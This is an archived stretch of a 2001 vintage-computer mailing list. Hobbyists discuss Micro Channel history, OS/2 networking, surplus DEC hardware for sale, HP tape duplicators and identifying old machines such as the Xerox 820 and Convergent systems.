6502 and the PET)? > > > The Sirius/Victor 9000 ? > > Yep, that was him. Ah, still neeed a Victor 9000 for the collection... -dq From dhquebbeman at theestopinalgroup.com Thu Jun 28 05:58:36 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:05:01 2005 Subject: Whats a reasonable collection? Message-ID: <7A9BACCEF0171D4FB77019F5104CDD37151256@jeffserver.tegjeff.com> > On Wed, 27 Jun 2001, Douglas Quebbeman wrote: > > > Not many know this, but Chuck Peddle, who designed MCA, also gave it > > legs to run up to 100MHz. However, I don't think IBM ever implemented > > an MAC bus at that speed. > > Wow, I didn't know Peddle designed MCA. What else did he do > (besides the 6502 and the PET)? As I said in another post, I could have this wrong, but the name of the MCA designer was for certain a very familiar name to me... and I don't hob-nob with engineers that much (just don't know any). Well, Gordon Bell and I have been swapping e-mails, but I wouldn't claim to *know* him. -dq From dhquebbeman at theestopinalgroup.com Thu Jun 28 06:02:23 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:05:01 2005 Subject: Looking for info - En-link Ethernet card for the Apple II Message-ID: <7A9BACCEF0171D4FB77019F5104CDD37151257@jeffserver.tegjeff.com> > On Wed, 27 Jun 2001, Mike Ford wrote: > > > Is there an active area for 6502 programmers, mailing list > > or usenet group? > > I think comp.sys.apple2.programmer (or something like that) > should still be around. > > > Two of my friends were real hotshots (Randy Hyde and Brian Fitzgerald) > > so I planned to bug them when I got started again, but it could be > > really picking cobwebs for both of them. I do still have a Apple II > > nicely decked out ready to run LISA, but I guess I should update to > > the version that fully used a IIgs. > > No assemblers for me...I program in hex! On toy computers maybe... *real* iron requires octal! (from one who is decoding octal dumps again) -dq From jrice at texoma.net Thu Jun 28 06:18:33 2001 From: jrice at texoma.net (James L. Rice) Date: Sun Feb 27 19:05:01 2005 Subject: Will the Owner of the Blue SGI Indy . . . References: <20010628.010916.-4099213.0.jeff.kaneko@juno.com> Message-ID: <3B3B1289.9EAC10B3@texoma.net> That's me!!!!! James L. Rice 1819 Bristol Ln. Rockwall, TX 75032 I've got the machine set up, It goes through the power on tests but fails on autoboot. Hinv reports the internal hard drive and the external Toshibe CD-ROM(jumpered fpr 512 byte but the Indy tells me it's a DEC drive?) Thanks! jeff.kaneko@juno.com wrote: > > without an operating system please contact me, > I've lost your address . . . > > Thanks > > (we now return you to our regularly scheduled programme . . . .) > > ________________________________________________________________ > GET INTERNET ACCESS FROM JUNO! > Juno offers FREE or PREMIUM Internet access for less! > Join Juno today! For your FREE software, visit: > http://dl.www.juno.com/get/tagj. From optimus at canit.se Thu Jun 28 07:46:13 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:05:01 2005 Subject: Whats a reasonable collection? In-Reply-To: <27.1788e2a8.286bee85@aol.com> Message-ID: <796.579T650T8263891optimus@canit.se> SUPRDAVE skrev utan att citera som folk: >>As spartan as my 95 was when I got it, at least it had >one such card and an >>MO drive Now, if only it had support under some decent OS... >whaddya mean? It's got great support for a superior OS! OS/2 of course. Ive >gotten warp server, warp connect and OS/2 version 4 running on some 95's I >have. Easy and painless, although time consuming install. I believe the 9595 >series are on the NT4 compatibility list... The only version of Warp I've got lacks networking. Well, that's not entirely true, it has got TCP/IP networking, but only across a modem. Besides, as competent as Warp might be, it feels like working with a multitasking MS-DOS. -- En ligne avec Thor 2.6a. Amiga 4000/040 25MHz/44MB/20GB RetinaBLTZ3/VLab/FastlaneZ3/Ariadne/Toccata From optimus at canit.se Thu Jun 28 07:51:39 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:05:01 2005 Subject: Whats a reasonable collection? In-Reply-To: <3B3AD1B5.94D84CD2@internet1.net> Message-ID: <763.579T1950T8316083optimus@canit.se> Chad Fernandez skrev: >Well most of the cards aren't jumpered because of the, "silly ADF >files". They are all software setup via the Reference disk. I hate to tell you this, but other buses such as Zorro, PCI or Turbochannel aren't jumpered either, yet without the need for ADF files. ADF files are just jumpers on a disk. >Only thing I don't like is a lack of fast SCSI cards. I have all kinds >of good scsi cards for my EISA computer, but not my Microchannel. I >wish I could find a Buslogic Wide Differential card for example, and I >wish Adaptec had built a wide SCSI card too. I've got the IBM Fast/Wide adaptor in my 95. Fast enough, or should I have an inferiority complex (the sight of a PC server 500 gave me one =). -- En ligne avec Thor 2.6a. From optimus at canit.se Thu Jun 28 08:15:26 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:05:01 2005 Subject: FW: Whats a reasonable collection? In-Reply-To: <7A9BACCEF0171D4FB77019F5104CDD37151252@jeffserver.tegjeff.com> Message-ID: <1545.579T1300T8554465optimus@canit.se> Douglas Quebbeman skrev: >> Douglas Quebbeman skrev: >> >> >To round out that heterogeny, you need a set of Thomas-Conrad ARCNet >> >cards (unless you can find 20Mbps-Datapoint cards), a passive hub, >> >and a serial-port-based Token-ring network that uses software written >> >in Russia. The Russian software lets you host drives that are actually >> >shares from other machines! >> >> Why Thomas-Conrad in particular? >Once widely available as surplus... And what's so particular about the Russian software? >> Is there some kind of 20Mb Arcnet version? >Datapoint had a spec for 20MBs ARCnet; I don't know if anyone >every implemented it. Too bad, at that speed it would have been >superior to Ethernet until the 100Mbs era began (ARCnet uses >CSMA/CA to avoid collisions, instead of CSMA/CD to detect them). IOW it's a ring network. >> >You'll want to use a Mac to bridge Ethernet to Localtalk, if you >> >can find the software... >> >> Or why not a Shiva box? >Ooo, you got a Shiva box? Sexy! No, I haven't. I don't plan to reimplement Localtalk around here. >> >What else? >> >> Apollo Tokenring, FDDI... >Got the Apollo, just don't have one with two slots so I can >bridge the two networks yet... And how could I forget about Corvus/Omninet? Then there's that odd "2 Mbps insertion ring" from Nine Tiles which I described here a while ago. =) I know that there are at least interfaces for Amigas and Amstrads. -- En ligne avec Thor 2.6a. Alle Verallgemeinerungen sind gef?hrlich, sogar diese. --- Alexandre Dumas der ?ltere From rhblake at bigfoot.com Thu Jun 28 07:37:03 2001 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 19:05:01 2005 Subject: Whats a reasonable collection? In-Reply-To: <7A9BACCEF0171D4FB77019F5104CDD37151254@jeffserver.tegjeff.com> Message-ID: Not senility but rather an afflication known as CRS or "Can't Remember Shit" - I'm also 44 and it hits me regularly. Not old enough to have indulged the "bad acid" of Woodstock but there is definitely a ton of crap between my ears that occasionally has a problem in the recovery mode. :-) -----Original Message----- From: owner-classiccmp@classiccmp.org [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Douglas Quebbeman Sent: Thursday, June 28, 2001 5:50 AM To: 'classiccmp@classiccmp.org' Subject: RE: Whats a reasonable collection? Senility set in for me well before my current age of 44, so I could be wrong.... what i can be sure of is that the name of the MCA designer was a very familiar name to me as a micro enthusiast. -dq From dhquebbeman at theestopinalgroup.com Thu Jun 28 08:12:43 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:05:01 2005 Subject: Whats a reasonable collection? Message-ID: <7A9BACCEF0171D4FB77019F5104CDD37151259@jeffserver.tegjeff.com> > Not senility but rather an afflication known as CRS or "Can't Remember > Shit" - I'm also 44 and it hits me regularly. Not old enough to have > indulged the "bad acid" of Woodstock but there is definitely a ton of crap > between my ears that occasionally has a problem in the recovery mode. :-) Yeah, CRS, that's the ticket... > > -----Original Message----- > From: owner-classiccmp@classiccmp.org > [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Douglas Quebbeman > Sent: Thursday, June 28, 2001 5:50 AM > To: 'classiccmp@classiccmp.org' > Subject: RE: Whats a reasonable collection? > > > Senility set in for me well before my current age of 44, so > I could be wrong.... what i can be sure of is that the name > of the MCA designer was a very familiar name to me as a micro > enthusiast. > -dq > From mtapley at swri.edu Thu Jun 28 08:24:47 2001 From: mtapley at swri.edu (Mark Tapley) Date: Sun Feb 27 19:05:01 2005 Subject: Wanted: VT420/510 terminals (general interest, Dec gear in TX) In-Reply-To: <200106280646.BAA38413@opal.tseinc.com> Message-ID: >From: Curt Vendel > >Anybody have two VT 320 or 420 or perhaps 510 terminals for sale??? See below, from austin.forsale a few days ago. If anybody needs/wants some of this, for shipping, I can try to arrange a pickup this weekend and ship next week, as I'll be in Austin on the weekend. Contact T. S. Murphy first to make sure it's still there, though. Curt, I suggest items 15. and 16., assuming they work together. BTW, what's the story with the kilobuck worth of NeXTs? I think I committed for one of them and have not heard from you yet. -Mark >From: "T. S. Murphy" >Subject: FS: DEC Computer Equipment >Date: Sun, 24 Jun 2001 12:45:06 -0500 >Organization: SBC Internet Services > >I have the following items for sale / give away. Will consider trading for >other DEC things. All items must be picked up in central Austin. Please >e-mail me at tsm@palindrome.org for more information. Thanks! > >1. Rackmounted MicroVAX II system (in H9642 cabinet). Can run VMS or NetBSD. >Weighs approximately 500 lbs. FREE. > >2. DECmate IIIplus computer. Base unit only. $1.00 > >3. PDP-11/53 computer (in BA23 chassis). Base unit only. $100. > >4. DEC Multia computer. 166 MHz Alpha 21066 processor. 64 MB RAM. 2.1 GB >SCSI disk. Integrated network, SCSI, graphics, etc. OpenVMS 7.2 installed, >but can run Linux, Windows NT, or Tru64. Base unit only. $125. > >5. DEC Multia computer. 166 MHz Alpha 21066 processor. 96 MB RAM. No disk. >Integrated network, SCSI, graphics, etc. Can run Linux, Windows NT, Tru64, >or OpenVMS. Base unit only. $125. > >6. DEC VAXstation 4000/60 computer. 8 MB RAM. No disk. Integrated SCSI, >network, graphics, etc. Base unit only. $50 > >7. DEC VAXstation 3100/M38-SPX computer. 20 MB RAM. No disk. Dual SCSI, >network, graphics, etc. Base unit only. $30 > >8. DEC VAXstation 3100. 4 MB RAM. No disk. The SCSI and/or network does not >work properly. Base unit only. FREE. > >9. applicationDEC 433MP computer. Very nice SCSI based backplane server, >supports up to four 486 processors (only one installed now). 16 MB RAM, 1GB >disk. FreeBSD installed; can run any PC operating system. Base unit only. >$10. > >10. DEC VRC16-HA monitor. Very nice monitor, works with DEC 3000 computer. >$25. > >11. DEC VR16O-DA monitor. Works with VAXstation 3100. $10. > >12. DEC VRT16-DA monitor. Works with VAXstation 4000. $10. > >13. DEC branded 14" SVGA monitor (goes very well with a Multia) $10 > >14. DEC branded PC keyboards: PCXLA-NA. (also goes well with a Multia) >several avialable new in box @ $5 > >15. DEC LK201 keyboards, several available @ $10 > >16. DEC VT220 & VT320 terminals with scratched screens (keyboard not >included). FREE From allain at panix.com Thu Jun 28 08:47:01 2001 From: allain at panix.com (John Allain) Date: Sun Feb 27 19:05:01 2005 Subject: MCArchitect (was: Whats reasonable... References: <7A9BACCEF0171D4FB77019F5104CDD37151254@jeffserver.tegjeff.com> Message-ID: <003f01c0ffd8$ec6f2660$8a0101ac@ibm23xhr06> I put some effort into the Peddle/MCA issue and found nothing yet. Personally I'd be mildly surprised if an individualist like CP would've been found at IBM at the time. I checked BYTEs 6/87,7/87 and found no mention of any architects. In general, IBM did not celebrate the individual above the team. Few counterexamples: John Cocke, Benoit Mandlebrot, ? I suppose a specialist could've found out more at a specialist event line a "Buscon" or the like. One fond memory of PS/2. A Demo by the executive Reiswig on none other than 'Computer Chronicles'. (note: Not by his assistant) Has anyone considered that the overhead of caring for 50+ computers may lead to an overtaxed memory? John A. P.S. IBM DX for Linux is on Tucows! (A Baby of mine) ---copy Senility set in for me well before my current age of 44, so I could be wrong.... what i can be sure of is that the name of the MCA designer was a very familiar name to me as a micro enthusiast. ---copy From ClassicComputers at bouncy-castle.demon.co.uk Thu Jun 28 09:00:52 2001 From: ClassicComputers at bouncy-castle.demon.co.uk (Greg Elkin) Date: Sun Feb 27 19:05:01 2005 Subject: seeking settings for DEC M3107 DHQ11 QBUS module In-Reply-To: <3B3A4C21.B984B8E4@atari-history.com> Message-ID: <3B3B46A4.22999.12E4C815@localhost> Hi, does anyone have the users guide to hand (or know where it is online) to detail for me the switch settings for this board and also the pinnouts from the card ribbon connectors? thanks greg From jhellige at earthlink.net Thu Jun 28 07:41:42 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:05:01 2005 Subject: Whats a reasonable collection? In-Reply-To: <796.579T650T8263891optimus@canit.se> Message-ID: <01Jun28.100202edt.119223@gateway.mediacen.navy.mil> on 6/28/01 8:46 AM, Iggy Drougge at optimus@canit.se wrote: > The only version of Warp I've got lacks networking. Well, that's not entirely > true, it has got TCP/IP networking, but only across a modem. > Besides, as competent as Warp might be, it feels like working with a > multitasking MS-DOS. Warp Connect Version 3 and above has full support for networking, both over modem and ethernet. It even includes the OS/2 Novell client on the CD. I tested it on my P70 (8573-121) with an Etherlink MCA NIC. Jeff From geneb at deltasoft.com Thu Jun 28 09:19:03 2001 From: geneb at deltasoft.com (Gene Buckle) Date: Sun Feb 27 19:05:01 2005 Subject: Micro Cornucopia magazines In-Reply-To: <000001c0ff84$675084f0$b762d6d1@DOMAIN> Message-ID: > > You should give them to the person that is making a publicly accessible > > archive of computer books, manuals and magazines. > > > > (completely shameless plug :) > > > > Or. to someone that will be hack their way through them using them as they > were meant to be used... > Actually, you need someone that wouldn't be bashful about slicing the spines off with a bandsaw and then running the lot of them through a sheet fed scanner for coversion to PDF files. :) g. From postmaster at bouncy-castle.demon.co.uk Thu Jun 28 09:19:16 2001 From: postmaster at bouncy-castle.demon.co.uk (post-meister) Date: Sun Feb 27 19:05:01 2005 Subject: seeking settings for DEC M3107 DHQ11 QBUS module In-Reply-To: <1898.579T2050T1375603optimus@canit.se> References: <20010627201125.7997.qmail@web9501.mail.yahoo.com> Message-ID: <3B3B4AF4.31272.12F59E44@localhost> Ah ha, just found it at ftp://ftp.update.uu.se/pub/pdp11/doc/dhq11.txt after Googling for M3107... ;-) greg From ClassicComputers at bouncy-castle.demon.co.uk Thu Jun 28 09:19:16 2001 From: ClassicComputers at bouncy-castle.demon.co.uk (Greg Elkin) Date: Sun Feb 27 19:05:01 2005 Subject: seeking settings for DEC M3107 DHQ11 QBUS module In-Reply-To: <1898.579T2050T1375603optimus@canit.se> References: <20010627201125.7997.qmail@web9501.mail.yahoo.com> Message-ID: <3B3B4AF4.23240.12F59E30@localhost> Ah ha, just found it at ftp://ftp.update.uu.se/pub/pdp11/doc/dhq11.txt after Googling for M3107... ;-) greg From mmcfadden at cmh.edu Thu Jun 28 09:46:17 2001 From: mmcfadden at cmh.edu (McFadden, Mike) Date: Sun Feb 27 19:05:01 2005 Subject: Request for those skilling in locating odd bits- Message-ID: There are lots of surplus old x-ray equipment that is being disposed of by hospitals and clinics. Some is sent overseas. Maybe you could intercept some. There is some danger if it is used improperly. >Request for those skilling in locating odd bits- >> I am looking for a real x-ray generator- Modifying kitchen >>appliances or using thyratrons coated with magnesium won't due. I have >> x-ray tubes and all the rest, but the power supply is the toasted bit. >I recall an article in a late-50s/early-60s issue of Scientific >American that detailed the construction of an X-Ray machine. Mike mmcfadden@cmh.edu From bdc at world.std.com Thu Jun 28 09:56:39 2001 From: bdc at world.std.com (Brian Chase) Date: Sun Feb 27 19:05:01 2005 Subject: Request for those skilling in locating odd bits- In-Reply-To: Message-ID: On Tue, 26 Jun 2001, Greg Linder wrote: > [...] > > I am looking for a real x-ray generator- Modifying kitchen > appliances or using thyratrons coated with magnesium won't due. I have > x-ray tubes and all the rest, but the power supply is the toasted bit. And thus was born the Son of THERAC. :-) -brian. From jss at ou.edu Thu Jun 28 10:11:01 2001 From: jss at ou.edu (Jeffrey S. Sharp) Date: Sun Feb 27 19:05:01 2005 Subject: Versatec board (ID and claim it) In-Reply-To: <7A9BACCEF0171D4FB77019F5104CDD37151244@jeffserver.tegjeff.com> References: <7A9BACCEF0171D4FB77019F5104CDD37151244@jeffserver.tegjeff.com> Message-ID: <993741061.3b3b49054cb70@email.ou.edu> The Versatec board has been claimed. > > I have a board that describes itself as: > > > > VERSATEC > > LSI 11 DIFF INTF > > 22 BIT ADDRESS > > G10-024898- > > > > I believe it is an interface to some sort of hard copy device. If > > anyone wants it, it is theirs for the price of shipping. -- Jeffrey S. Sharp jss@ou.edu From r_beaudry at hotmail.com Thu Jun 28 10:12:14 2001 From: r_beaudry at hotmail.com (Rich Beaudry) Date: Sun Feb 27 19:05:01 2005 Subject: Xerox 820 Message-ID: Hello all, Recently I acquired a Xerox 820, but as a single board, w/ power supply. I also received many docs (including a tech manual with Monitor listings and schematics). I know originally these were "all-in-one" computers, but many appear at ham fests in exactly the same shape as mine -- as a single board computer. Of course, hooking a terminal up to it produces nothing (even testing at different baud rates/parity/stop bits, etc), so I'm wondering: - Are there any modifications (ROM or jumpers) to "convert" this to use the serial port for a console, rather than the keyboard and video display? I couldn't find anything in my docs, but of course, I have not read them in depth yet. In return, I could offer copies of the docs, or thanks to 22NICE and my Compaticard (thanks Don!), copies of the files on the diskettes (CP/M, "Word Processor", "Diagnostics", "Training Files" and "Program Files"), or images of the disks (assuming Teledisk could do it -- I haven't tried that yet). The disks are 5.25", SSSD Thanks! Rich B. From cmurillo at manizales.autonoma.edu.co Thu Jun 28 10:07:08 2001 From: cmurillo at manizales.autonoma.edu.co (Carlos Murillo) Date: Sun Feb 27 19:05:01 2005 Subject: Old stuff found + help identifying... Message-ID: <3B3B481C.B506A286@manizales.autonoma.edu.co> A few days ago one of the storage rooms at the university was cleaned up and I grabbed all the computer-related stuff that I could. Not a lot of variety, though. Besides from the wintel carcasses and Mac plus remains, I found one Datapoint 1550 and several modules from a type system that I have never seen. The cpu, floppy disk drives and graphics modules snap onto each other's side very neatly. There are several of these systems, with the corresponding monitors and keyboards. Alas, the only power supply unit that I found is incomplete and badly damaged. Do you guys have some info about these systems? Pics can be found at http://jimulco.autonoma.edu.co/~carlos/hp/datapoint_1550.jpg http://jimulco.autonoma.edu.co/~carlos/hp/modularsystem.jpg These pics are about 70K. They'll probably load slowly; we're bandwidth-starved these days. -- Carlos E. Murillo-Sanchez email: carlos_murillo@ieee.org Universidad Autonoma de Manizales, Manizales, Colombia From John.Honniball at uwe.ac.uk Thu Jun 28 10:18:13 2001 From: John.Honniball at uwe.ac.uk (John Honniball) Date: Sun Feb 27 19:05:01 2005 Subject: 2 awesome days of awesome finds! In-Reply-To: Message-ID: On Wed, 27 Jun 2001 09:37:31 -0600 Will Jennings wrote: > Now I suppose I need to > find a Modcomp, I saw a Modcomp front panel just the other day. Very nice looking bit of kit, but it wasn't wired up to anything, so no blinkenlights. > a Microdata, a CDC, a Prime, a Basic Four, a Bytronix, a Now a Prime would be nice, but the one I used 1981-85 at Westfield College, London, was a P750 with (as far as I'm aware) no lights or switches. Apart from the reset button, which nearly got pressed by a visitor on a machine room tour! -- John Honniball Email: John.Honniball@uwe.ac.uk University of the West of England From icc_uk at yahoo.com Thu Jun 28 10:50:42 2001 From: icc_uk at yahoo.com (ICC Leon Wheeler) Date: Sun Feb 27 19:05:01 2005 Subject: VAX 6000 SYSTEMS Message-ID: <20010628155042.5807.qmail@web13406.mail.yahoo.com> Good afternoon i found some information that you have some vax 6000's machines for disposal, we are a dec/compaq reseller and are currently looking for the ups unit part no: h7236-a which you have listed, we would either echnage this for any equipment that you require or offer you the sum of $400 for these psu's, if this would work for you please let us know by return email thanks ===== Leon Wheeler I.C.C(International Computer Connections) Tel:+44(0)1937-840420 Direct Line Fax:+44(0)1937-840421 Email: Leon@icc4it.co.uk __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail http://personal.mail.yahoo.com/ From dlw at trailingedge.com Thu Jun 28 10:58:23 2001 From: dlw at trailingedge.com (David Williams) Date: Sun Feb 27 19:05:01 2005 Subject: Cruel Fates & The Exidy Sorcerer Message-ID: <3B3B0DCF.11510.651A02@localhost> Argh!!! I just received an email from someone who just threw away 3 working Exidy Sorcerer's because they thought they'd never hear anything about them ever again. THEN they found my website. The fates mock me. :-( Well the good news is they may still have some Sorcerer newsletters they produced which I've asked to place on the site so I guess it isn't all bad. ----- "What is, is what?" "When the mind is free of any thought or judgement, then and only then can we know things as they are." David Williams - Computer Packrat dlw@trailingedge.com http://www.trailingedge.com From rigdonj at intellistar.net Thu Jun 28 10:55:09 2001 From: rigdonj at intellistar.net (joe) Date: Sun Feb 27 19:05:01 2005 Subject: A little HP9877 info In-Reply-To: References: <5.1.0.14.1.20010626175158.00a5a550@mailhost.intellistar.net> Message-ID: <5.1.0.14.1.20010628114842.00a715c0@mailhost.intellistar.net> At 11:39 PM 6/26/01 +0100, you wrote: > > > > At 09:26 PM 6/26/01 +0100, you wrote: > > >I rmemeber that somebody here was looking for info on the HP9877 > > >'External Tape Memory' > > > > I was one of them. > >Right. I couldn't remember which of the many HP collectors here is >looking for info on this unit. > > > Yes, that's what it was used for within HP. One HP engineer that I > > talked to said that it was used at HP to produce all of the tapes that HP > > sold. He thought it was used for tapes for machines other than just the > > 9825 but he wasn't positive. I think that's likely since no other tape > > duplication device was made at HP AFIK. > >It would certainly copy tapes for the 9831, which has the same tape >controller as the 9825. I suspect the 9835 amd 9845 are similar, but I >don't have those machines so I can't check. I don't know if 9815 tapes >can be copied on this unit -- the 9815 has the same tape mechanism (and >the little PCB attached to that is the same), but the tape controller is >very different (it's even more software-intensive on the 9815, it uses >the 6800 processor for just about everything). Both the read and fast forward (and rewind) tape speeds are a lot lower on the 9815 than it is on the 9825 and other HPs. So the 9877 may not be able to read 9815 tapes, but OTOH it may be able read and write them even though it can't "process" them. In any event, I'm told that there was a cable that could be used to connect two 9815s so that you could read a tape on one and duplicate it on the other. Sort of a null-modem. I expect that was what was used to duplicate tapes for the 9815. I'm also reasonable certain that the 9815 predates the 9877 so HP would have had have used something other than the 9877 to create 9815 tapes. Joe From rigdonj at intellistar.net Thu Jun 28 11:06:51 2001 From: rigdonj at intellistar.net (joe) Date: Sun Feb 27 19:05:01 2005 Subject: Xerox 820 In-Reply-To: Message-ID: <5.1.0.14.1.20010628120040.00a104a0@mailhost.intellistar.net> Hi Rich, I have an 820-II (CPU/monitor only) and another 820 (not sure if it's a -II or just an 820) with the 8" floppy drives and keyboard. I also have some manuals and software but I haven't really had time to play with them yet. I'd like to get copies of anything that I have. I'm in a rush right now so I don't have time to study your list or compare it to what I have but I'll try to get back to you in a couple of days. Joe PS I was out scrounging yesterday and found a copy of a small XEROX booklet about word processing on the 820. Most of it is pretty basic but it does explain some the OS commands. Most of them are what you would expect for CPM. Joe At 11:12 AM 6/28/01 -0400, you wrote: >Hello all, > >Recently I acquired a Xerox 820, but as a single board, w/ power supply. I >also received many docs (including a tech manual with Monitor listings and >schematics). I know originally these were "all-in-one" computers, but many >appear at ham fests in exactly the same shape as mine -- as a single board >computer. > >Of course, hooking a terminal up to it produces nothing (even testing at >different baud rates/parity/stop bits, etc), so I'm wondering: > >- Are there any modifications (ROM or jumpers) to "convert" this to use the >serial port for a console, rather than the keyboard and video display? I >couldn't find anything in my docs, but of course, I have not read them in >depth yet. > >In return, I could offer copies of the docs, or thanks to 22NICE and my >Compaticard (thanks Don!), copies of the files on the diskettes (CP/M, "Word >Processor", "Diagnostics", "Training Files" and "Program Files"), or images >of the disks (assuming Teledisk could do it -- I haven't tried that yet). >The disks are 5.25", SSSD > >Thanks! > >Rich B. From rigdonj at intellistar.net Thu Jun 28 11:11:30 2001 From: rigdonj at intellistar.net (joe) Date: Sun Feb 27 19:05:02 2005 Subject: Old stuff found + help identifying... In-Reply-To: <3B3B481C.B506A286@manizales.autonoma.edu.co> Message-ID: <5.1.0.14.1.20010628120902.00a108f0@mailhost.intellistar.net> At 11:07 AM 6/28/01 -0400, you wrote: >A few days ago one of the storage rooms at the university >was cleaned up and I grabbed all the computer-related stuff >that I could. Not a lot of variety, though. Besides >from the wintel carcasses and Mac plus remains, I found >one Datapoint 1550 and several modules from a type system that >I have never seen. The cpu, floppy disk drives and graphics >modules snap onto each other's side very neatly. There are >several of these systems, with the corresponding monitors and >keyboards. Alas, the only power supply unit that I found >is incomplete and badly damaged. Do you guys have some >info about these systems? Carlos, I've seen a couple of systems made by Concurrent that look like those. I think the Concurrents use a power supply brick that puts out something like 36VDC. The power supplies seem to be scarce, i've only seen one of them. I don't know anything else about the Concurrent systems, sorry. Joe > Pics can be found at > >http://jimulco.autonoma.edu.co/~carlos/hp/datapoint_1550.jpg > >http://jimulco.autonoma.edu.co/~carlos/hp/modularsystem.jpg > >These pics are about 70K. They'll probably load slowly; >we're bandwidth-starved these days. > > >-- >Carlos E. Murillo-Sanchez email: carlos_murillo@ieee.org >Universidad Autonoma de Manizales, Manizales, Colombia From dhquebbeman at theestopinalgroup.com Thu Jun 28 11:21:23 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:05:02 2005 Subject: 2 awesome days of awesome finds! Message-ID: <7A9BACCEF0171D4FB77019F5104CDD3715125F@jeffserver.tegjeff.com> > I saw a Modcomp front panel just the other day. Very nice > looking bit of kit, but it wasn't wired up to anything, so > no blinkenlights. > > > a Microdata, a CDC, a Prime, a Basic Four, a Bytronix, a > > Now a Prime would be nice, but the one I used 1981-85 at > Westfield College, London, was a P750 with (as far as I'm > aware) no lights or switches. Apart from the reset button, > which nearly got pressed by a visitor on a machine room > tour! The P400 was the last machine (well, maybe the 450?) that had a front panel. It was an interesting bump-out design, but wasn't really very cool looking, when compared to an Eclipse, or a KI-10, or hell, even a KL-10. My 2455 has a virtual control panel like the 750 did. If I had a real front panel, the damned thing might be running right now. Regards, -dq From marvin at rain.org Thu Jun 28 11:26:38 2001 From: marvin at rain.org (Marvin) Date: Sun Feb 27 19:05:02 2005 Subject: Keyword 8000 8" Drives References: <5.1.0.14.1.20010628120902.00a108f0@mailhost.intellistar.net> Message-ID: <3B3B5ABE.9D4C8341@rain.org> Anyone ever heard of of the Keyword 8000 8" drives? I have two external drives, each in their own enclosure, and they are connected with what appear to be SCSI connectors (but I don't think they are.) A power supply unit also connects through that same connector cable, and the three units are daisychained. The units were made in Canada. From xds_sigma7 at hotmail.com Thu Jun 28 11:31:45 2001 From: xds_sigma7 at hotmail.com (Will Jennings) Date: Sun Feb 27 19:05:02 2005 Subject: Old stuff found + help identifying... Message-ID: No, not Concurrent. Close though.. You're thinking "Convergent". Concurrent makes minicomputers, never made anything small like the Convergent... Those are neat little systems : ) Will J _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com From fernande at internet1.net Thu Jun 28 11:33:48 2001 From: fernande at internet1.net (Chad Fernandez) Date: Sun Feb 27 19:05:02 2005 Subject: Whats a reasonable collection? References: <763.579T1950T8316083optimus@canit.se> Message-ID: <3B3B5C6C.B9BFF856@internet1.net> Well, I never heard of Zorro, and I wouldn't know Turbochannel if I saw it. I suspect PCI doesn't use jumpers because most cards are, "Plug and Play". Besides, PCI wasn't around when Microchannel was king of the corporate world. Chad Fernandez Michigan, USA Iggy Drougge wrote: > I hate to tell you this, but other buses such as Zorro, PCI or Turbochannel > aren't jumpered either, yet without the need for ADF files. > ADF files are just jumpers on a disk. From SUPRDAVE at aol.com Thu Jun 28 11:35:58 2001 From: SUPRDAVE at aol.com (SUPRDAVE@aol.com) Date: Sun Feb 27 19:05:02 2005 Subject: Whats a reasonable collection? Message-ID: In a message dated 6/27/01 5:15:23 PM Central Daylight Time, mikeford@socal.rr.com writes: << >The last MCA I am aware of ran at 40MHz. Ran stupid fast at that clock >rate. I have some DX50 processor complexes, and a couple type 4 that run pentium 90 mhz I think. >> The p90 came in the server500 series. Theoretically, you can swap any CPU complex between the 85,90,95 and server 500 series machines. All you have to do is run the correct ref disk for the type complex you are using. (type 1,2,3 or 4) From xds_sigma7 at hotmail.com Thu Jun 28 11:38:48 2001 From: xds_sigma7 at hotmail.com (Will Jennings) Date: Sun Feb 27 19:05:02 2005 Subject: 2 awesome days of awesome finds! Message-ID: Does a KA10 have blinkenlights or does it suck? _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com From fwhite at pobox.com Thu Jun 28 11:43:28 2001 From: fwhite at pobox.com (Fredric White) Date: Sun Feb 27 19:05:02 2005 Subject: FW: Silent 700 Model 707 In-Reply-To: <993647342.3b39daee8b2f0@mail.er-grp.com> References: <7A9BACCEF0171D4FB77019F5104CDD37151227@jeffserver.tegjeff.com> <993647342.3b39daee8b2f0@mail.er-grp.com> Message-ID: <15163.24240.190000.4456@gargle.gargle.HOWL> Thanks for all of the replies regarding this terminal. If I can sucessfully convert it to RS232, I'll post the results. FWIW, it appears to have been manufactured in 1984 and uses a TMS99532 single-chip 300 baud modem internally. Fredric From mrbill at mrbill.net Thu Jun 28 11:43:40 2001 From: mrbill at mrbill.net (Bill Bradford) Date: Sun Feb 27 19:05:02 2005 Subject: Wanted: VT420/510 terminals (general interest, Dec gear in TX) In-Reply-To: ; from mtapley@swri.edu on Thu, Jun 28, 2001 at 08:24:47AM -0500 References: <200106280646.BAA38413@opal.tseinc.com> Message-ID: <20010628114340.F310@mrbill.net> On Thu, Jun 28, 2001 at 08:24:47AM -0500, Mark Tapley wrote: > >From: Curt Vendel > >Anybody have two VT 320 or 420 or perhaps 510 terminals for sale??? > See below, from austin.forsale a few days ago. If anybody needs/wants some > of this, for shipping, I can try to arrange a pickup this weekend and ship > next week, as I'll be in Austin on the weekend. Contact T. S. Murphy first > to make sure it's still there, though. Curt, I suggest items 15. and 16., > assuming they work together. BTW, what's the story with the kilobuck worth > of NeXTs? I think I committed for one of them and have not heard from you > yet. > -Mark #1 and #3 are taken, I'm picking them up this weekend. I think the terminals may be already gone as well, but I possibly have 2 or 3 of them available. (with LK201 / LK401s) Bill -- Bill Bradford mrbill@mrbill.net Austin, TX From edick at idcomm.com Thu Jun 28 12:01:47 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:05:02 2005 Subject: Xerox 820 References: Message-ID: <000a01c0fff4$047edd20$9cc762d8@idcomm.com> 